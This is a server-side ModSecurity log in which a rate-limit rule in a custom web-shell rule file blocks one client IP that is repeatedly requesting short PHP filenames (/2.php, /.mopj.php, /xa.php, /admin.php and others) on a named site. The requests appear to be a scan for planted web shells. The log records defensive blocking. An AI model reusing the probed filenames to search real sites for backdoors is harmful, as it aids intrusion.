[Tue Apr 21 23:11:33.966119 2026] [:error] [pid 35321:tid 35391] [client 51.120.72.131:37423] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aeeTpTeHLhVUuu8cVXwGagAAAEc"]
[Tue Apr 21 23:11:34.737252 2026] [:error] [pid 35321:tid 35386] [client 51.120.72.131:20356] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aeeTpjeHLhVUuu8cVXwGcAAAAEI"]
[Tue Apr 21 23:11:35.369059 2026] [:error] [pid 35320:tid 35340] [client 51.120.72.131:33629] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aeeTp4JW6fdXWO6agMEQzQAAAAo"]
[Tue Apr 21 23:11:35.993746 2026] [:error] [pid 35321:tid 35400] [client 51.120.72.131:3671] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "aeeTpzeHLhVUuu8cVXwGfgAAAFA"]
[Tue Apr 21 23:11:36.594170 2026] [:error] [pid 35321:tid 35403] [client 51.120.72.131:37432] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "aeeTqDeHLhVUuu8cVXwGjAAAAFM"]
[Tue Apr 21 23:11:37.753022 2026] [:error] [pid 35320:tid 35341] [client 51.120.72.131:32487] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "aeeTqYJW6fdXWO6agMEQ1QAAAAs"]
[Tue Apr 21 23:11:38.659587 2026] [:error] [pid 35320:tid 35346] [client 51.120.72.131:20157] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "aeeTqoJW6fdXWO6agMEQ1wAAABA"]
[Tue Apr 21 23:11:39.954770 2026] [:error] [pid 35320:tid 35347] [client 51.120.72.131:33623] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4.php"] [unique_id "aeeTq4JW6fdXWO6agMEQ2QAAABE"]
[Tue Apr 21 23:11:42.105680 2026] [:error] [pid 35320:tid 35342] [client 51.120.72.131:30480] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4.php"] [unique_id "aeeTroJW6fdXWO6agMEQ8wAAAAw"]
[Tue Apr 21 23:11:42.916594 2026] [:error] [pid 53978:tid 54001] [client 51.120.72.131:33976] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4.php"] [unique_id "aeeTrp1ivsR4hcOSQbZI6QAAApU"]
[Tue Apr 21 23:11:44.156509 2026] [:error] [pid 53731:tid 53738] [client 51.120.72.131:33947] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4.php"] [unique_id "aeeTsF2I9THUR-bRVGybxgAAAgM"]
[Tue Apr 21 23:11:45.298007 2026] [:error] [pid 35320:tid 35354] [client 51.120.72.131:24794] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5.php"] [unique_id "aeeTsYJW6fdXWO6agMERAQAAABg"]
[Tue Apr 21 23:11:46.848728 2026] [:error] [pid 53832:tid 53837] [client 51.120.72.131:33955] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5.php"] [unique_id "aeeTstzkuxsE_OhM9UKCowAAAkI"]
[Tue Apr 21 23:11:48.149576 2026] [:error] [pid 35322:tid 35368] [client 51.120.72.131:19644] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5.php"] [unique_id "aeeTtKPoAfV40BTfVKzlyAAAAIs"]
[Tue Apr 21 23:11:49.759525 2026] [:error] [pid 35321:tid 35400] [client 51.120.72.131:25155] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5.php"] [unique_id "aeeTtTeHLhVUuu8cVXwGyQAAAFA"]
[Tue Apr 21 23:11:51.607813 2026] [:error] [pid 53731:tid 53742] [client 51.120.72.131:53789] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6.php"] [unique_id "aeeTt12I9THUR-bRVGyb4QAAAgc"]
[Tue Apr 21 23:11:54.209290 2026] [:error] [pid 35321:tid 35389] [client 51.120.72.131:22797] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6.php"] [unique_id "aeeTujeHLhVUuu8cVXwG3QAAAEU"]
[Tue Apr 21 23:11:55.225970 2026] [:error] [pid 53978:tid 53989] [client 51.120.72.131:26286] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6.php"] [unique_id "aeeTu51ivsR4hcOSQbZJIwAAAok"]
[Tue Apr 21 23:11:56.289637 2026] [:error] [pid 35321:tid 35398] [client 51.120.72.131:29323] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6.php"] [unique_id "aeeTvDeHLhVUuu8cVXwG6wAAAE4"]
[Tue Apr 21 23:11:57.397981 2026] [:error] [pid 53978:tid 53981] [client 51.120.72.131:25720] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/9.php"] [unique_id "aeeTvZ1ivsR4hcOSQbZJKwAAAoE"]
[Tue Apr 21 23:11:58.159556 2026] [:error] [pid 35321:tid 35391] [client 51.120.72.131:29350] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/9.php"] [unique_id "aeeTvjeHLhVUuu8cVXwG8QAAAEc"]
[Tue Apr 21 23:11:59.839779 2026] [:error] [pid 53731:tid 53742] [client 51.120.72.131:3226] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/9.php"] [unique_id "aeeTv12I9THUR-bRVGycAwAAAgc"]
[Tue Apr 21 23:12:01.121428 2026] [:error] [pid 53731:tid 53755] [client 51.120.72.131:25671] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/9.php"] [unique_id "aeeTwV2I9THUR-bRVGycFQAAAhM"]
[Tue Apr 21 23:12:02.950580 2026] [:error] [pid 35321:tid 35396] [client 51.120.72.131:3622] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/10.php"] [unique_id "aeeTwjeHLhVUuu8cVXwG-QAAAEw"]
[Tue Apr 21 23:12:07.987837 2026] [:error] [pid 53832:tid 53845] [client 51.120.72.131:29337] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/10.php"] [unique_id "aeeTx9zkuxsE_OhM9UKCtAAAAko"]
[Tue Apr 21 23:12:13.789403 2026] [:error] [pid 35320:tid 35332] [client 51.120.72.131:3257] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/10.php"] [unique_id "aeeTzYJW6fdXWO6agMERSAAAAAI"]
[Tue Apr 21 23:12:16.274029 2026] [:error] [pid 35322:tid 35371] [client 51.120.72.131:3105] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/10.php"] [unique_id "aeeT0KPoAfV40BTfVKzl1QAAAI4"]
[Tue Apr 21 23:12:18.935807 2026] [:error] [pid 35322:tid 35364] [client 51.120.72.131:29333] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.mopj.php"] [unique_id "aeeT0qPoAfV40BTfVKzl2wAAAIc"]
[Tue Apr 21 23:12:20.929662 2026] [:error] [pid 53978:tid 54000] [client 51.120.72.131:28345] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.mopj.php"] [unique_id "aeeT1J1ivsR4hcOSQbZJYgAAApQ"]
[Tue Apr 21 23:12:22.169471 2026] [:error] [pid 35322:tid 35359] [client 51.120.72.131:4071] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.mopj.php"] [unique_id "aeeT1qPoAfV40BTfVKzl3gAAAII"]
[Tue Apr 21 23:12:23.818794 2026] [:error] [pid 53978:tid 53995] [client 51.120.72.131:3589] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.mopj.php"] [unique_id "aeeT151ivsR4hcOSQbZJdAAAAo8"]
[Tue Apr 21 23:12:37.675614 2026] [:error] [pid 54080:tid 54083] [client 51.120.72.131:22902] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "aeeT5YzEbQHHxtmWbabauwAAAsE"]
[Tue Apr 21 23:12:40.038350 2026] [:error] [pid 35321:tid 35404] [client 51.120.72.131:22907] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "aeeT6DeHLhVUuu8cVXwHeQAAAFQ"]
[Tue Apr 21 23:12:43.253372 2026] [:error] [pid 53731:tid 53748] [client 51.120.72.131:4044] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "aeeT612I9THUR-bRVGycXgAAAg0"]
[Tue Apr 21 23:12:45.677305 2026] [:error] [pid 35321:tid 35389] [client 51.120.72.131:19170] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "aeeT7TeHLhVUuu8cVXwHhAAAAEU"]
[Tue Apr 21 23:12:46.939186 2026] [:error] [pid 35322:tid 35367] [client 51.120.72.131:22899] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "aeeT7qPoAfV40BTfVKzl-QAAAIo"]
[Tue Apr 21 23:12:48.189938 2026] [:error] [pid 35320:tid 35344] [client 51.120.72.131:23109] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "aeeT8IJW6fdXWO6agMER1AAAAA4"]
[Tue Apr 21 23:12:48.856155 2026] [:error] [pid 53731:tid 53742] [client 51.120.72.131:22857] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "aeeT8F2I9THUR-bRVGycbwAAAgc"]
[Tue Apr 21 23:12:49.720550 2026] [:error] [pid 35321:tid 35396] [client 51.120.72.131:3263] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "aeeT8TeHLhVUuu8cVXwHkAAAAEw"]
[Tue Apr 21 23:12:51.981962 2026] [:error] [pid 53978:tid 53990] [client 51.120.72.131:3260] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zample.php"] [unique_id "aeeT851ivsR4hcOSQbZJnwAAAoo"]
[Tue Apr 21 23:12:52.948444 2026] [:error] [pid 35415:tid 35445] [client 51.120.72.131:20986] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zample.php"] [unique_id "aeeT9EiqDinI4_22zziApwAAANI"]
[Tue Apr 21 23:12:54.485399 2026] [:error] [pid 53731:tid 53740] [client 51.120.72.131:22885] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zample.php"] [unique_id "aeeT9l2I9THUR-bRVGyceAAAAgU"]
[Tue Apr 21 23:12:55.597198 2026] [:error] [pid 35321:tid 35407] [client 51.120.72.131:29044] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zample.php"] [unique_id "aeeT9zeHLhVUuu8cVXwHpAAAAFc"]
[Tue Apr 21 23:12:56.718811 2026] [:error] [pid 35320:tid 35338] [client 51.120.72.131:19137] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aeeT-IJW6fdXWO6agMER-wAAAAg"]
[Tue Apr 21 23:12:57.894103 2026] [:error] [pid 4777:tid 4800] [client 51.120.72.131:23166] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aeeT-axXur6bykKyLZS6PwAAAQw"]
[Tue Apr 21 23:12:59.377186 2026] [:error] [pid 35320:tid 35347] [client 51.120.72.131:23150] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aeeT-4JW6fdXWO6agMESBwAAABE"]
[Tue Apr 21 23:13:00.057479 2026] [:error] [pid 35415:tid 35435] [client 51.120.72.131:19982] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aeeT_EiqDinI4_22zziAsgAAAMg"]
[Tue Apr 21 23:13:01.982120 2026] [:error] [pid 35320:tid 35350] [client 51.120.72.131:20957] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aeeT_YJW6fdXWO6agMESHwAAABQ"]
[Tue Apr 21 23:13:07.157984 2026] [:error] [pid 35322:tid 35368] [client 51.120.72.131:36706] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aeeUA6PoAfV40BTfVKzmFAAAAIs"]
[Tue Apr 21 23:13:10.695776 2026] [:error] [pid 53832:tid 53858] [client 51.120.72.131:27225] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aeeUBtzkuxsE_OhM9UKC6wAAAlc"]
[Tue Apr 21 23:13:12.938409 2026] [:error] [pid 35320:tid 35345] [client 51.120.72.131:32395] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aeeUCIJW6fdXWO6agMESTQAAAA8"]
[Tue Apr 21 23:13:15.891712 2026] [:error] [pid 53978:tid 54000] [client 51.120.72.131:33272] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aeeUC51ivsR4hcOSQbZJugAAApQ"]
[Tue Apr 21 23:13:22.490073 2026] [:error] [pid 53978:tid 53999] [client 51.120.72.131:21262] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aeeUEp1ivsR4hcOSQbZJ1gAAApM"]
[Tue Apr 21 23:13:27.162271 2026] [:error] [pid 35320:tid 35333] [client 51.120.72.131:30093] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aeeUF4JW6fdXWO6agMESkgAAAAM"]
[Tue Apr 21 23:13:32.653947 2026] [:error] [pid 4823:tid 4868] [client 51.120.72.131:25269] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "aeeUHPc8mke3PfHqsxEQPAAAAY8"]
[Tue Apr 21 23:13:54.275552 2026] [:error] [pid 35320:tid 35339] [client 51.120.72.131:40305] [client 51.120.72.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aeeUMoJW6fdXWO6agMETjwAAAAk"]
